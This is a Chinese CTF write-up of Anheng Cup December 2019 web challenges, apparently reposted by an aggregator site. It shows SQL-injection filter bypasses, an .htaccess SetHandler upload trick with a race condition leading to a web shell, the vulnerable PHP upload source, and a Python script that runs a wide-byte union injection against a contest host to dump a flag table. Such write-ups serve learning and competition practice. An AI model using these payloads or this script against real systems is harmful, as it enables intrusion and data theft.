本文主要是介绍安恒杯2019.12月赛,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
BabySqli
题目提示sqli。用户名处输入单引号报错,说明此处是注入点,用#号注释就不报错了,在测试sql语句的过程中发现进行了简单的拦截,但是可以用大小写绕过,然后利用union语句自己构造一行数据,在构造过程中知道name在第二个字段,猜测密码在第三个字段,且根据提示密码经过md5加密,所以,我们构造的密码也需要md5加密才行(小写,一开始我弄成了大写,死活不过)
ping ping ping
摸索过程中发现过滤了空格,一些特殊符号例如<、&等,还过滤了flag,但是这都很容易绕过
flag:
babyupload
上传.htaccess文件如下:
SetHandler application/x-httpd-php
返回显示上传成功
但是当我访问的时候404了,于是怀疑是要利用条件竞争,用burp测试了一些,果然是要利用条件竞争。然后再上传一个精心构造的png文件,同样利用条件竞争上传,然后访问一下:
最后就是写一句话:
其实这种条件竞争哪里需要写啥脚本,burp都帮我们做好了,直接利用intruder一直请求,不是比脚本香的多?最后蚁剑连接:
题目源代码:
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);$uploaded_size = $_FILES['uploaded']['size'];$uploaded_tmp = $_FILES['uploaded']['tmp_name'];if(preg_match("/ph/i", strtolower($uploaded_ext))){die("后缀名不能有ph!");}else{if ((($_FILES["uploaded"]["type"] == "image/gif") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){$content = file_get_contents($uploaded_tmp);if(preg_match("/\<\?/i", $content)){die("诶,别蒙我啊,这标志明显还是php啊");}else{mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);move_uploaded_file($uploaded_tmp, $t_path);echo "{$t_path} succesfully uploaded!";}}else{die("上传类型也太露骨了吧!");}}
}
?>
flag在系统根目录:
sqli 2
一开始用用union select 1,2,3#这样的语句都报错,我有点懵逼了,结果才知道是过滤了select与union,知道了原因就好高了。当然还有一点比较重要的是我们需要控制字段二为admin,但是又不能直接union select 1,‘admin’,3 from xxx的方式,
所以还需要借助原来的表,这里猜了下表名为user,然后用户名字段为username,所以(select username from user)==‘admin’,这样就绕过了add_slashes()的转义,然后就可以愉快的读数据了!
数据库:
表:
本以为后面一帆风顺了,但是突然想起爆表还需要配合引号呀,例如:select group_concat(table_name) from information_schema.tables where schema_name='xxx'
,我已开始脑袋短路以为要绕过单引号,但是我一想,不要引号也行呀,就不要where了呗,但是由于group_concat(table_name)太长,不能显示全,那就改substr()登场了,顺利拿到表名:
接下来是列名:
列名用同样的方法找了一波,发现两个md5值的列名:
327a6c4304ad5938eaf0efb6cc3e53dc以及b80bb7740288fda1f201890375a60c8f
然后读了一下发现f14g表的数据挺多的,在测试过成功发现一个列是id,b80bb7740288fda1f201890375a60c8f列是数据,而且数据是base64编码过后的,写个脚本还原下
# -*- coding:utf-8 -*-import requests
import base64
import re
res = b''
matches = []
for i in range(1,31):r = requests.get("http://183.129.189.60:10006/search.php?name=%df%27%20or%201%20ununionion%20selselectect%201,(selselectect%20username%20from%20user),327a6c4304ad5938eaf0efb6cc3e53dc%20from%20f14g%20limit%20{},1%23&pw=123".format(i))print(r.text)matches += re.findall(r'Your pass is ([a-zA-Z0-9=]*)<br>', r.text)print(matches)
for text in matches:res += base64.b64decode(text)print(res)
垃圾脚本,出结果
后面有事就没做了
这篇关于安恒杯2019.12月赛的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!